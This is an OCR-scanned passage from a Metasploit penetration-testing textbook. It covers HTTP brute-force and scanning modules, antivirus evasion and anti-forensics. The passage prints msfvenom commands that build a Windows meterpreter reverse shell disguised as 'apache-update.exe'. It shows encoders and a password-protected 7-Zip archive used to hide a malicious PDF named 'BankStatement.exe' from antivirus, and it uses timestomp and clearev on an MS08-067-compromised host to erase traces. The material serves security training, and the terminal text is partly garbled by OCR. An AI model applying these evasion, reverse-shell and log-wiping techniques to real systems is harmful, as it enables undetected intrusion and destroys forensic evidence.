e http_login:;This module tries to brute force the HTTP-based authentication if
enabled on the target system. It uses the default username and password
dictionaries available within the Metasploit Framework. ;Its auxiliary module
name is ;auxiliary/scanner/http/http_login, and the following screenshot
shows how to use it:

root@kali: ~ [ IO <]

File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/http_login
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/http_login):
Name Current Setting Required Description

AUTH_URI The URIL to authenticate against (defaul
t:auto)

BLANK_PASSWORDS  false Try blank passwords for all users

BRUTEFORCE_SPEED 5 How fast to bruteforce, from @ to 5

DB_ALL_CREDS false Try each user/password couple stored in
the current database

DB_ALL_PASS false Add all passwords in the current databa
se to the list

DB_ALL_USERS false Add all users in the current database t
o the list

PASS_FILE /usr/share/metasploit- framework/data/wordlists/http_default_pass.txt File containing passwords, one per line

Proxies A proxy chain of format type:host:port[
ytype:host:port] [ 1

REQUESTTYPE GET Use HTTP-GET or HTTP-PUT for Digest-Aut
h, PROPFIND for WebDAV (default:GET)

RHOSTS The target address range or CIDR identi

fier

RPORT 80 The target port

SSL false Negotiate SSL/TLS for outgoing connecti
ons

STOP_ON_SUCCESS  false Stop guessing when a credential works f
or a host

THREADS 1 y The number of concurrent threads

USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/http default_userpass.txt File containing users and passwords sep
arated by space, one pair per line

USER_AS_PASS false Try the username as the password for al
1 users

USER_FILE /usr/share/metasploit- framework/data/wordlists/http_default_users.tx File containing users, one per line

VERBOSE true Whether to print output for all attempt

VHOST HTTP server virtual host
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The parameters to be configured are as follows:

e RHOSTS: ;IP address or IP range of the target to be scanned

e options:;This module checks whether various HTTP methods such as TRACE and
HEAD are enabled on the target web server. These methods are often not required
and can be used by the attacker to plot an attack vector. Its auxiliary module
name is ;jauxiliary/scanner/http/options, and the following screenshot
shows how to use it:

root@kali: ~ e ® O

File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/options
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/options):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
no HTTP server virtual host

) > set RHOSTS demo.testfire.net
demo.testfire.net
) > run

| allows OPTIONS, TRACE, GET, HEAD, POST methods
] 65.€ :80 - TRACE method allowed.

*] Scanned 1 of 1 hosts (100% complete)

*]1 Auxiliary module execution completed

f auxiliary( I |
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The parameters to be configured are as follows:

e RHOSTS: ;IP address or IP range of the target to be scanned

e http_version:;This module enumerates the target and returns the exact version
of the web server and underlying operating system. The version information can
then be used to launch specific attacks. ;Its auxiliary module name is
;auxiliary/scanner/http/http_version, and the following screenshot
shows how to use it:

root@kali: ~ e ® 0O

File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/http_version
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/http version):

Name Current Setting Required Descriptior
Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS The target address range or CIDR identifier

RPORT 80 The target port

SSL false Negotiate SSL/TLS for outgoing connections

THREADS 1 The number of concurrent threads

VHOST HTTP server virtual host

msf auxiliary( ) > set RHOSTS 192.168.44.133
RHOSTS => 192.168.44.133
msf auxiliary( ) > run

[*] 192.168.44.133:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(

The parameters to be configured are as follows:

e RHOSTS: IP address or IP range of the target to be scanned

Summary

In this chapter, we explored various features of the Metasploit Framework that can be used
for web application security scanning. Moving ahead to the next chapter, you will learn
various techniques that can be used to hide our payloads from antivirus programs and clear
our tracks after compromising the system.
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Exercises

Find and exploit vulnerabilities in the following vulnerable applications:

e DVWA
o Mutillidae
o OWASP Webgoat
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Antivirus Evasion and Anti-
Forensics

In the previous two chapters, you learned how to leverage the Metasploit Framework to
generate custom payloads and launch advanced client-side attacks. However, the payloads
that we generate will be of no use if they get detected and blocked by antivirus programs. In
this chapter, we'll explore the various techniques in order to make our payloads as
undetectable as possible. You will also get familiar with various techniques to cover our
tracks after a successful compromise.

In this chapter, we will cover the following topics:

¢ Using encoders to avoid AV detection

¢ Using binary encryption and packaging techniques

e Testing payloads for detection and sandboxing concepts

¢ Using Metasploit anti-forensic techniques, such as TimeStomp and clearev

Using encoders to avoid AV detection

In chapter ¢, Client-side Attacks with Metasploit, we have already seen how to use the

ms fvenom utility to generate various payloads. However, these payloads if used as-is are
most likely to be detected by antivirus programs. In order to avoid antivirus detection of
our payload, we need to use encoders offered by the ms fvenom ;utility. ;
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To get started, we'll generate a simple payload in the ;. exe ;format using the
shikata_ga_nai jencoder, as shown in the following screenshot:

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.44.134 LPORT=8080 -e x86/shikata_ga_|
nai -f exe -o /root/Desktop/apache-update.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga nai succeeded with size 360 (iteration=0)
x86/shikat nai chosen with final size 360

Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/apache-update.exe

Once the payload has been generated, we upload it to the site http://www.virustotal.com
for analysis. As the analysis is completed, we can see that our file apache-update.exe
;(containing a payload) was detected by 46 out of the ;60 antivirus programs that were used.
This is quite a high detection rate for our payload. Sending this payload as-is to our victim
is less likely to succeed due to its detection rate. Now, we'll have to work on making it
undetectable from as many antivirus programs as we can.

The site http://www.virustotal.com runs multiple antivirus programs
from across various vendors and scans the uploaded file with all the
available antivirus programs.

Antivirus scan for 3b999d5df57ad8442a81ab0036c5119ca28e55a779901f9cf10364931f2ef3be at UTC - VirusTotal - Mozilla Firefox e ® 0

»3 Antivirus scan for 3b9.. x | &
€ a virustotal.com | wBa 9 ¥ & =

[ Most Visited v [l Offensive Security N Kali Linux " Kali Docs "% Kali Tools EBExploit-DB W Aircrack-ng

L Community Statistics Documentation FAQ About ™ English Join our community Sign in

2] total
SHA256: 7ad! 1 779901f9cf10364931f2ef3be ‘o
=

Flle name apache-update. exe

Detection ratio: 46/ 60 .r O O

Analysis date: 2017-05-26 03:24:01 UTC (1 minute ago )

EAnalysls | @Flledetall @ Additional information  #® Comments &3 Votes

Antivirus Result Update

Ad-Aware Gen:Variant.Razy. 174703 20170526

AhnLabV3 Trojan/Win32.Shell. R1283 20170525

AlYac Gen:Variant.Razy. 174703 20170526

Arcabit Trojan. Razy.D2AAGF 20170526

Avast Win32:SwPatch [Wrm] 20170526 -
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Simply encoding our payload with the shikata_ga_nai ;encoder once didn't work quite
well. The ms fvenom ;utility also has an option to iterate the encoding process multiple
times. Passing our payload through multiple iterations of an encoder might make it more
stealthy. Now, we'll try to generate the same payload; however, this time we'll run the
encoder 10 times in an attempt to make it stealthy, as shown in the following screenshot:

root@Kali: ~ I C-]

File Edit View Search Terminal Help
~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse tcp LH05T=192.168.44.134 LPORT=8080 -e x86/shikata ga |
nai -i 10 -f exe -o /root/Desktop/apache-update.exe
Found 1 compatible encoders
Attempting to encode payload with 16 iterations of x86/shikata_ga nai
nai succeeded with size 360 (i

nai succeeded with size 414
nai succeeded with size 441 (i
succeeded with size 468
succeeded with size 495

a
Payload size: 603 bytes
Final size of exe file: 73802 bytes

Saved as: /roit/Desktep/apacherupdate‘e'x.e

Now that the payload has been generated, we again submit it for analysis on http://www.
virustotal.com. As shown in the following screenshot, the analysis results show that this
time our payload was detected by 45 antivirus programs out of the ;60. So, it's slightly better
than our previous attempts, however, it's still not good enough:

Antivirus scan for 4ealbdededd50a30a7fa3cd6aedb671f21e9bbc85e7b2b2ea307322f63a7f03b at UTC - VirusTotal - Mozilla Firefox O O

¥ Antivirus scan for dea.. % | &

wBea 9 3 &

€ a virustotal.com

[ Most Visited v [l Offensive Security S Kali Linux "\ Kali Docs W Kali Tools KBExploit-DB W Aircrack-ng

# Community Statistics Dogumentatior FAQ About ™ English Join our community Sign in

SHA256: 4eal 71f21e9bbc85e7h2b2 7322{63a7f03b 'o
=

File name apache-update.exe

Detection ratio 45/ 60

Analysis date 2017-05-26 03:28:09 UTC ( 1 minute ago )

= Analysis @ File detail @ Additional information  Comments ) Votes

Antivirus Result Update

Ad-Aware Gen:Variant. Razy. 174703 20170526

AhnLabV3 Trojan/Win32.Shell. R1283 20170525

AlYac Gen:Variant. Razy. 174703 20170526

Arcabit Trojan Razy. D2AAGF 20170526

Avast Wina2:SwPatch [Wrm] 20170526 -
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Now, to further try and make our payload undetectable, this time we'll try changing the
encoder from shikata_ga_nai ;(as used earlier) to a new encoder named opt_sub, as
shown in the following screenshot. We'll run the encoder on our payload for five iterations:

root@kali: ~ e ® 0
File Edit View Search Terminal Help
:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LH0ST=192.168.44.134 LPORT=8080 -e x86/opt_sub -i

-f exe -0 /root/Desktop/apache-updatel.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/opt_sub

succeeded with size 1373 (iteration=0)

succeeded with size 5533 (iteration=1)

succeeded with size 22173 (iteration=2)

succeeded with size 88733 (iteration=3)

succeeded with size 354973 (iteration=4)

chosen with final size 354973
Payload size: 354973 bytes
Final size of exe file: 438880 bytes
Saved as: /root/Desktop/apache-updatel.exe

Once the payload has been generated, we will submit it to http://www.virustotal.com for
analysis. This time, the results look much better! Only 25 antivirus programs out of the 60
were able to detect our payload as compared to 45 out of the 60 earlier, as shown in the
following screenshot. This is certainly a significant improvement:

Antivirus scan for 0e69463426f83200a8ad8c25c1c566aalddc338709e443b114822127bc4372fc at UTC - VirusTotal - Mozilla Firefox (- )
3 Antivirus scan for Oeb.. x | &

& a virustotal.com W @ ¥+ @

f& Most Visited v [l Offensive Security S Kali Linux S Kali Docs "% Kali Tools EBExploit-DB W Aircrack-ng

# Community Statistics Documentation FAQ About ™ English Join our community Sign in

S total

SHA256 0e69463426f83200a8ad8c25¢ 1c566aa1ddc338709e443b114822127bc4372fc b
File name apache-update1.exe <

Detection ratio: 25/ 60 U O @ O

Analysis date: 2017-05-26 03:39:24 UTC ( 0 minutes ago )

= Analysis @, File detail @ Additional information ® Comments ) Votes

Antivirus Result Update
Ad-Aware Gen:Variant. Razy.63085 20170526
AegisLab Tro].Wa2.Jorik.Skor.rUS 20170526
AhnLab-\3 Trojan/Win32. Swrort. C695042 20170525
AlYac Gen:Variant. Razy.63085 20170526
Arcabit Trojan. Razy. DF66D 20170526
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You have probably worked out that there is no single secret recipe that could make our
payload completely undetectable. The process of making payload undetectable involves a
lot of trial and error methods using various permutations, combinations, and iterations of
different encoders. You have to simply keep trying until the payload detection rate goes
down to an acceptable level. ;

However, it's also very important to note that at times running multiple iterations of an
encoder on a payload may even damage the original payload code. Hence, it's advisable to
actually verify the payload by executing it on a test instance before it's sent to the target
system.

Using packagers and encrypters

In the previous section, we have seen how to make use of various encoders in order to make
our payload undetectable from antivirus programs. However, even after using different
encoders and iterations, our payload was still detected by a few antivirus programs. In
order to make our payload completely stealthy, we can make use of a ;called ;encrypted
self extracting archive ;feature offered by a compression utility called 7-zip.

To begin, we'll first upload a malicious PDF file (containing a payload) to the site http://
www.virustotal.com, as shown in the following screenshot. The analysis shows that our
PDF file was detected by 32 antivirus programs out of the ;56 available, as seen in the
following screenshot:

B2 Ankivirus seanfor ee2ec0isd.. % (RS

€ ) @ hitpsifwen, virustotel i @ || Q search we 93 42 =

#&  Communty  Stafisics  Documentation  FAQ  About mEnglish  Juin our community  Sign in

" total

SHADSE ee2cc015d431cf2h1 232076020 c2fdAR408 1905 33533500 fBad4EE9
File name: BankStaterment pidf :

<
Detection ratio: 32 /56 .I 0 0

Analysis date:  2017-05:26 05:52:39 UTC (3 minutes aga )

DAnalysic | @File detail @ Additional information ¢ Comments @) Q Vaotes

Antivirus Result Update

Ad-Aware Exploit PDF-Marme. Gen 20170526
AlYac PDF:Exploit. PDF-JS.AIB 20170526
Arcabit Exploit PDF-Marme. Gen 2170526
Avast JS:Pdfka-AK [Expl] 20170526
AVG Luhe Exploit. PDF.B 20170525

Avira (no cloud) EXP/Pidief 322 20170525 @
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Now using the 7-Zip utility, as shown in the following screenshot, we convert our malicious
PDF file into a self-extracting archive:

Add to Archive X]

C:\Documents and Settings\shareusersDesktophtemph

Archive: |
| BankStatement. exe - } D
Archive format 7z v_l Update mode: EAdd and replace files v_|
Compression level: Marmal v| Path mode: E-Flelative pathnames ~ |
Compression method: \-I:ZIZ'I:AQ- Tf—i Options
_ Create SFX aichive
Dictionary size ‘ 16 ME “ ! -
LSS [ Compress shared files
‘whord size: ‘ 32 bt | [] Delete files after compression
Solid Block size: 2GB M 2
_— Encreption
Mumber of CPU threads: ﬁ- v_| Al Enter password:
Memony usage for Compressing: 186 MB
Reenter password:
Meman uzage for Decompressing: 18 MB 1

Split ta wolumes, bytes:

O

- - .
| Encruption method: !AES-255 v |

Parameters:

[ Encryt file names

oK ][ Ganee ][ Help
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The analysis results, as shown in the following screenshot, show that the PDF file that was
converted into a self-extracting archive got detected by 21 antivirus programs out of the 59
available. This is much better than our previous attempt (32/56):

P2 Antivinus scan For 59F4detd?

€)a virustotal.c 16801 LGOI 1435778127/ C || Q search A 9 a0 =
—
#  Community  Stafistics  Documentation  FAQ  About ™ English Join our community  Sign in =i
SHA256: SOHdeBd7 1650110800427 922601 b226222 305306 e52410097 Beb2eT o290 h
File name: BankStatement. exe

=

Detection ratio: 21759 ‘r 0

Analysis date:  2017-05-26 05.65.27 UTC (1 minute ago )

©
o

= Analysis @ File detail @ Additional information ® Comments O Votes

Antivirus Result Update

Arcabit Exploit PDF-Mame.Gen 20170626

Avast JE:Pdfka-AK [Expl] 20170626

AV Luhe. Exploit. PDF.B 20170525

Ayita (no cloud) EXP/Pidief azz 20170525

Baidu JS Exploit Pdfka adb 20170825

BitDefender Exploit PDF-Mame.Gen 20170626 -
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Now to make the payload even more stealthy, we will convert our payload into a
password-protected self-extracting archive. This can be done with the help of the 7-Zip
utility, as shown in the following screenshot:

r

Add to Archive X

b IE_i:'\D ocuments and Settings'shareuseriDesklopitemph -

| BankStatement.exe | D
Archive format: [?2 VJ- Update mode: E-Add and replace files vi
Compression level [Normal Sl Path rmode: Relative pathnames “ |
Compression method: |_I:ZM._Aé Options

: Create SF archive
Dictionary size: ! 16 MB I 7
------------ ——— [ Compress shared files
‘wiord size: | 32 | [] Delete filez after compression
Solid Black size: [268 | !
_ E ncryption
Mumber of CPU threads: |_1 v_| Al Enter password:
Memary usage for Compressing: 186 ME
Feenter password:
Memory usage for D ecompressing: 18 ME i xxxxxxxx 1 |
Split to volumes, bytes:
p = & * [ Show Pazsword
| v - .
=7 Encmyption method: | AES-256 b |

Parameters: .
[ Encrypt file hames

[ Ok l ’ Cancel ] ’ Help

Now, we'll upload the password encrypted payload to the site http://www.virustotal.com
and check the result, as shown in the following screenshot. Interestingly, this time none of
the antivirus programs were able to detect our payload. Now, our payload will go
undetected throughout its transit journey until it reaches its target. However, the password
protection adds another barrier for the end user (victim) executing the payload:
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pJ Antivinus scan For e3770d461.. %

€ a virustoal, Jearrnda6L 1495778957/ ¢ || Q Search *TEaE U4 a0 =
~
# Community Statistics Docurmentation FAQ About ™ English Join our community Sign in 3
SHA256: e3770d481880cd0Bce0d1f9EbERE33500d62533a509ee 127 4400386 d63 b $
File name: BankStatement exe -
Detection ratio:  [1/51 .IO @ 0

Analysis date:  2017-05-26 055317 UTG (0 minutes aga )

= Analysis | @File detail @ Additional information @8 Comments 3 Vates

Antivirus Result Update

Ad-Arare (] 2M70526

AegisLab L] 20170526

AhnlLab-\3 [/} 2070526

Alihaba 2070526

ALTac ] 2070526

Antiy-AL 9 20170526 v

What is a sandbox?

Whenever we execute an application, be it legitimate or malicious, some of the events that
occur are as follows:

e Application directly interacts with the host operating system

System calls are made
Network connections are established

Registry entries are modified

Event logs are written out
e Temporary files are created or deleted
e New processes are spawned

Configuration files are updated

All the above events are persistent in nature and change the state of the target system. Now,
there might be a scenario wherein we have to test a malicious program in a controlled
manner such that the state of the test system remains unchanged. This is exactly where a
sandbox can play an important role.
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Imagine that a sandbox is an isolated container or compartment. Anything that is executed
within a sandbox stays within the sandbox and does not impact the outside world. Running
a payload sample within a sandbox will help you analyze its behavior without impacting
the host operating system.

There are a couple of open source and free sandbox frameworks available as follows:

e Sandboxie: https://www.sandboxie.com

e Cuckoo Sandbox: https://cuckoosandbox.org/

Exploring capabilities of these sandboxes is beyond the scope of this book; however, it's
worth trying out these sandboxes for malicious payload analysis.

Anti-forensics

Over the past decade or so, there have been substantial improvements and advancements in
digital forensic technologies. The forensic tools and techniques are well developed and
matured to search, analyze, and preserve any digital evidence in case of a breach/fraud or
an incident.

We have seen throughout this book how Metasploit can be used to compromise a remote
system. The meterpreter works using an in-memory d11 ;injection and ensures that nothing
is written onto the disk unless explicitly required. However, during a compromise, we often
require to perform certain actions that modify, add, or delete files on the remote filesystem.
This implies that our actions will be traced back if at all a forensic investigation is made on
the compromised system.

Making a successful compromise of our target system is one part while making sure that
our compromise remains unnoticed and undetected even from a forensic perspective is the
other essential part. Fortunately, the Metasploit Framework offers tools and utilities that
help us clear our tracks and ensure that least or no evidence of our compromise is left back
on the system.
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Timestomp

Each and every file and folder located on the filesystem, irrespective of the type of
operating system, has metadata associated with it. Metadata is nothing but properties of a
particular file or folder that contain information such as time and date when it was created,
accessed, and modified, its size on the disk, its ownership information, and some other
attributes such as whether it's marked as read-only or hidden. In case of any fraud or
incident, this metadata can reveal a lot of useful information that can trace back the attack.

Apart from the metadata concern, there are also certain security programs known as File
Integrity Monitors ;that keep on monitoring files for any changes. Now, when we
compromise a system and get a meterpreter shell on it, we might be required to access
existing files on this system, create new files, or modify existing files. When we do such
changes, it will obviously reflect in the metadata in the form of changed timestamps. This
could certainly raise an alarm or give away a lead during incident investigation. To avoid
leaving our traces through metadata, we would want to overwrite the metadata information
(especially timestamps) for each file and folder that we accessed or created during our
compromise.

Meterpreter offers a very useful utility called t imestomp ;with which you can overwrite the
timestamp values of any file or folder with the one of your choices.

The following screenshot shows the help menu of the ;t imestomp ;utility once we have got
the meterpreter shell on the compromised system:

root@kali: ~ e 6 0
File Edit View Search Terminal Help
msf exploit( ) > exploit

Started reverse TCP handler on 192.168.44.134:4444

192.168.44.129:445 - Automatically detecting the target...

192 4.129:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.44.129:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

192.168.44.129:445 - Attempting to tri r tl\e vulnerability..

Sending stage (957999 bytes) to 192.16:

Meterpreter session 1 opened (192.168.44 134 4444 -> 192.168.44.129:1090) at 2017-65-26 12:55:30 -0400

meterpreter > syslm‘o

Computer SAGAR-C51B4AADE

05 Windows XP (Build 2606, Service Pack 3)
Architecture x86

System Language : en_US

Domain MSHOME

Logged On Users : 2

Meterpreter x86/win32

meterpreter > timestomp

Usage: timestomp OPTIONS file_path
OPTIONS:

-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the “"creation” time of the file
-e <opt> Set the "mft entry modified" time of the file
> Set the MACE of attributes equal to the supplied file
Help banner
Set the "last written" time of the file
Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file
Set all four attributes (MACE) of the file

meterpreter > |
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The following screenshot shows the timestamps for the file Confidential.txt ;before
using timestomp:

r

Confidential Properties @ 1

| General l SUMMAary

|=_'-. [ Confidential

Type of file:  Tewxt Document
Opens with: _ﬂ“ Matepad

Laocation: i
Size: 28 bytes (28 bytes)

Size ondisk:  4.00 KB (4,096 bytes)

Created: Today, June 01, 2017, 9:25:54 AM
Modified: Today, June 01, 2017, 9:25:54 AM
Accessed: Today, June 01, 2017, 9:25:44 AM
attributes: [Hidden

[ K l [ Cancel ]

Now, we will compromise our target system using the SMB MS08_67_netapi vulnerability
and then use the t imestomp ;utility to modify timestamps of the file Confidential.txt,
as shown in the following screenshot:
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root@kali: ~

File Edit View Search Terminal Help
msf exploit( } > exploit

Started reverse TCP handler on 192.168.44.134:4444

l * l
[*] 192.168.44.129:445 - Automatically detecting the target...
[*] 192.168.44.129:445 - Fingerprint: Windows XP - Service Pack 3 -
[*] 192.168.44.129:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.44.129:445 - Attempting to trigger the vulnerability...
l * l
*

Sending stage (957999 bytes) to 192.168.44.129

lang:English

] Meterpreter session 1 opened (192.168.44.134:4444 -> 192.168.44.129:1105) at

2017-05-30 22:33:32 -0400

meterpreter > sysinfo

Computer : SAGAR-C51B4AADE

0s : Windows XP (Build 2600, Service Pack 3).
Architecture : %86

System Language : en US

Domain : MSHOME

Logged On Users : 2

Meterpreter : X86/win32

meterpreter > timestomp Confidential.txt -c "02/10/2014 10:10:10"

After using the t imestomp ;utility to modify the file timestamps, we can see the changed
timestamp values for the file Confidential.txt, as shown in the following screenshot:

—

Confidential Properties

General | Summary

Confidential

Type of file:  Text Document
Opens with: (4, Motepad

Location: iy
Size: 28 bytes (28 bytes)

Size on disk: 4,00 KB {4,096 bytes)

Created: IThursday, October 02, 2014, 10:10:10 AM |

Modified: Thursday, October 02, 2014, 10:10:10 AM

Accessed: Today, May 31, 2017, 9:08:02 AM

attribukes: [

[ Ok ] I Cancel
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clearev

Whenever we interact with a Windows system, all the actions get recorded in the form of
event logs. The event logs are classified into three categories, namely application logs,
security logs, and system logs. In case of a system failure or security compromise, event
logs are most likely to be seen first by the investigator/administrator.

Let's consider a scenario wherein we compromised a Windows host using some
vulnerability. Then, we used meterpreter to upload new files to the compromised system.
We also escalated privileges and tried to add a new user. Now, these actions would get
captured in the event logs. After all the efforts we put into the compromise, we would
certainly not want our actions to get detected. This is when we can use a meterpreter script
known as clearev ;to wipe out all the logs and clear our activity trails.

The following screenshot shows the ;Windows Event Viewer application which stores and
displays all event logs:

Event Viewer E@FE

Fle  Action View Help
& R R 2
(E3) Evert Viewer (Local)
Application
Securty i Date Time Source Cateqory | Event | User Computer ~
] system (Dirformation  5/30/2017  ®3A0SAM  Service Control Manager  None 0% NjA SAGAR-CS1B4AADE
Dirformation  5[30j2017  XILSTAM  Service Control Manager  None 0% NjA SAGAR-CS1B4AADE
@1rformation  5/30j2017 %3157 AM  Service Control Manager  None 03 SYSTEM SAGAR-CS1B4AADE
@lrformation  5/30j2017  @3L15AM  Service Control Manager  None 0% NjA SAGAR-CS1B4AADE
@irformation  §/30j2017  F3LISAM  Service Contral Manager  None 7035 SYSTEM SAGAR-CS1B4AADE
@iformation 5302017 HINASAM Tepip Nene az01 A SAGAR-CS1B4AADE
@1rformation  5/30/2017  W30:33AM Browser Nene 8033 NjA SAGAR-CS1B4AMDE
@rrformation  §/30/2017  H3I0I0AM  Topip Nene 4202 WA SAGAR-CSIB4AMDE
@1rformation 53012017 ®00:43AM  Service Contral Manager  None 0% HA SAGAR-CSI1B4AMDE
Einformation  S[30j2017  X00:43AM  Service Control Manager  None 7035 SYSTEM SAGAR-CS1B4AADE
@irformation  5[30j2017  X00:19AM  Service Control Manager  None 7036 NjA SAGAR-CS1B4AADE
@information  5[30j2017  X00:17AM  Service Control Manager  None 3% NjA SAGAR-CS1B4AADE
@1rformation  5[30j2017  X00:17AM  Service Control Manager  None 03 NjA SAGAR-CS1B4AADE
@information  S/30f2017 X017 AM  Service Control Manager  None 03 SYSTEM SAGAR-CS1B4AMDE
(@Irformation  5/30f2017  ®00:07 M Service Control Manager  None 03 SYSTEM SAGAR-CS1B4AADE
@Irformation  5/30/2017 0017 AM  Servics Contrel Manager  None 7035 SYSTEM SAGAR-CS1B4AADE
Denor S/30/2017  HSIGAM  Service Canbrol Manager  None 7006 NJA SAGAR-CS1B4AMDE
Deror S/30/Z2017  ESGHZAM  Service Cantrol Manager  None 7006 A SAGAR-CS1B4AMDE
@trformation  §/30j2017  &S7:43AM  ShieDry None 1 HA SAGAR-CSI1B4AMDE
@irformation  §/30j20017  &ESI25AM  Tepip None 4201 A SAGAR-CS1B4AMDE
M warning S/30j2017  ESSI7AM  ETHUSE none 15 nja SAGAR-CS1B4AADE
(Dinformation  5/a0/2017  mSH14AM el None 3 nja SAGAR-CS1B4AADE
@irformation  5/30}2017  ®5729AM  eventlog none 6005 NjA SAGAR-CS1B4AADE
Dirformation  5/30j2017  @S7:29AM  eventlng none 6009 NjA SAGAR-CS1B4AADE
(Dinformation /262017 1L11:28PM  eventlog None 6006 NJA SAGAR-CS1B4AADE
irformation  5/26/2017 11118 PM  Application Fopup fone 26 A SAGAR-CS1B4AADE
Deror s/e6iz017 10:46:05PM  Service Control Manager  None 7008 HJA SAGAR-CS1B4AADE
@1rformation  5/26i2017 10:43:03FM  Service Control Manager  None 0% NA SAGAR-CS1B4AMDE
@trformation  §/26i2017 10:43:02PM  Service Control Manager  None 0% HA SAGAR-CSIB4AMDE
@1rformation 52612017 10:43:02PM  Service Control Manager  None 0 SYSTEM SAGAR-CSIB4AMDE
@1rformation  5/z6i2017 10:42:57PM  Service Control Manager  None 0% HA SAGAR-CSI1B4AMDE
@irformation  5/z6jz017 10:42:86 P Service Control Manager  None 7035 SYSTEM SAGAR-CS1B4AADE
(Dinformation {26017 10:42:56 P Service Control Manager  None 703 WA SAGAR-CS1B4AADE
Iinformation  5/26i2017 10:42:56 P Service Control Manager  None J03% NjA SAGAR-CS1B4AADE
L intormation _S(2602007 02206 PN _Seuice Cootral Manacer_ione L2 USEL, SAGARLSIRIALIE >
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Now, we compromise our target Windows system using the SMB MS08_67_netapi
vulnerability and get a meterpreter access. We type in the clearev ;command on the

meterpreter shell (as shown in the following screenshot), and it simply wipes out all the
even logs on the compromised system:

root@Kali: ~ e ® 9
File Edit View Search Terminal Help

msf exploit( ) > set RHOST 192.168.44.129
RHOST => 192.168.44.129
msf exploit( ) > exploit

Started reverse TCP handler on 192.168.44.134:4444
[*] 192.168.44.129:445 - Automatically detecting the target...
*] 192.168.44.129 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.44.129 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.44.129:445 - Attempting to trigger the vulnerability...

Sending stage (957999 bytes) to 192.168.44.129
[*] Meterpreter session 1 opened (192.168.44.134:4444 -> 192.168.44.129:1176) at 2017-05-30 00:17:11 -0400

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > clearev
[*] Wiping 380 records from Application...
[*] Wiping 798 records from System...
stdapi sys eventleg open: Operation failed: 1314
meterpreter > |

Back on our compromised Windows system, we check the Event Viewer and find that all
logs have been cleared out, as seen in the following screenshot:

Boenviewer e

Ele Action  View Help
® HREEBR 2
[E] Evert Viewsr (Local)

H) Applcation
) Type Date Time Souree Cabegory | Ewent | Liser Camputer

There are o items to show in this view
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Summary

In this chapter, you explored the various techniques to make payloads undetectable and
were briefed about the various capabilities of the Metasploit Framework related to anti-
forensics. Moving ahead to the next chapter, we'll deep dive into a cyber attack
management tool called Armitage, which uses Metasploit at the backend and eases more
complex penetration testing tasks.

Exercises

You can try the following exercises:

e Use the msfvenom ;utility to generate payload, and then try using various
encoders to make it least detectable on the site https://www.virustotal.com

e Explore a tool called Hyperion ;for making the payload undetectable

¢ Try using any of the sandbox applications to analyze the behavior of the payload
generated using the ms fvenom ;utility
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Cyber Attack Management with
Armitage

So far, throughout this book, you have learned the various basic and advanced techniques
of using Metasploit in all stages of the penetration testing life cycle. We have performed all
this using the Metasploit command-line interface msfconsole. Now that we are well
familiar with using msfconsole, let's move on to use a graphical interface that will make
our penetration testing tasks even easier. In this chapter, we'll cover the following topics:

¢ A brief introduction to Armitage
e Firing up the Armitage console
¢ Scanning and enumeration

¢ Finding suitable attacks

Exploiting the target

What is Armitage?

In simple terms, Armitage is nothing but a GUI tool for performing and managing all the
tasks that otherwise could have been performed through msfconsole.

Armitage helps visualize the targets, automatically recommends suitable exploits, and
exposes the advanced post-exploitation features in the framework.

Remember, Armitage uses Metasploit at its backend; so in order to use Armitage, you need
to have a running instance of Metasploit on your system. Armitage not only integrates with
Metasploit but also with other tools such as NMAP for advanced port scanning and
enumeration.
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Armitage comes preinstalled on a default Kali Linux installation.

Starting the Armitage console

Before we actually start the Armitage console, as a prerequisite, first we need to start the
postgresqgl service and the Metasploit service, as shown in the following screenshot:

root@kali: ~ e ® 0
File Edit View Search Terminal Help

:~# service postgresqgl start
:~# msfconsole

Once the postgresql and Metasploit services are up and running, we can launch the
Armitage console by typing armitage ;on the command shell, as shown in the following
screenshot:

root@Kkali: ~

File Edit View Search Terminal Help
:~# armitage

Connect... e ® 0

L27.0.01

55553

msf

Hdbk

Connect .He\p
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Upon the initial startup, the armitage console appears as shown in the following
screenshot:

Armitage e o0

Armitage View Hosts Attacks Workspaces Help

» [ awiliary

» [ exploit 4
» & payload le
» [ post

Console X

a

Now that the Armitage console is up and running, let's add hosts we wish to attack. To add
new hosts, click on the Hosts ;menu, and then select the Add Hosts ;option. You can either
add a single host or multiple hosts per line, as shown in the following screenshot:

Armitage View Hosts Attacks Workspaces Help

» [ ausdliary
> [& exploit
» (& payload
] post

Add Hosts e ® O

Enter one host/line:

192,168.44.133|

Console X
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Scanning and enumeration

Now that we have added a target host to the Armitage console, we'll perform a quick port
scan to see which ports are open here. To perform a port scan, right-click on the host and
select the scan ;option, as shown in the following screenshot. This will list down all the
open ports on the target system in the bottom pane of the Armitage console:

Armitage e e 0

Armitage View Hosts Attacks Workspaces Help

» (& auxiliary
» [ exploit
» [ payload

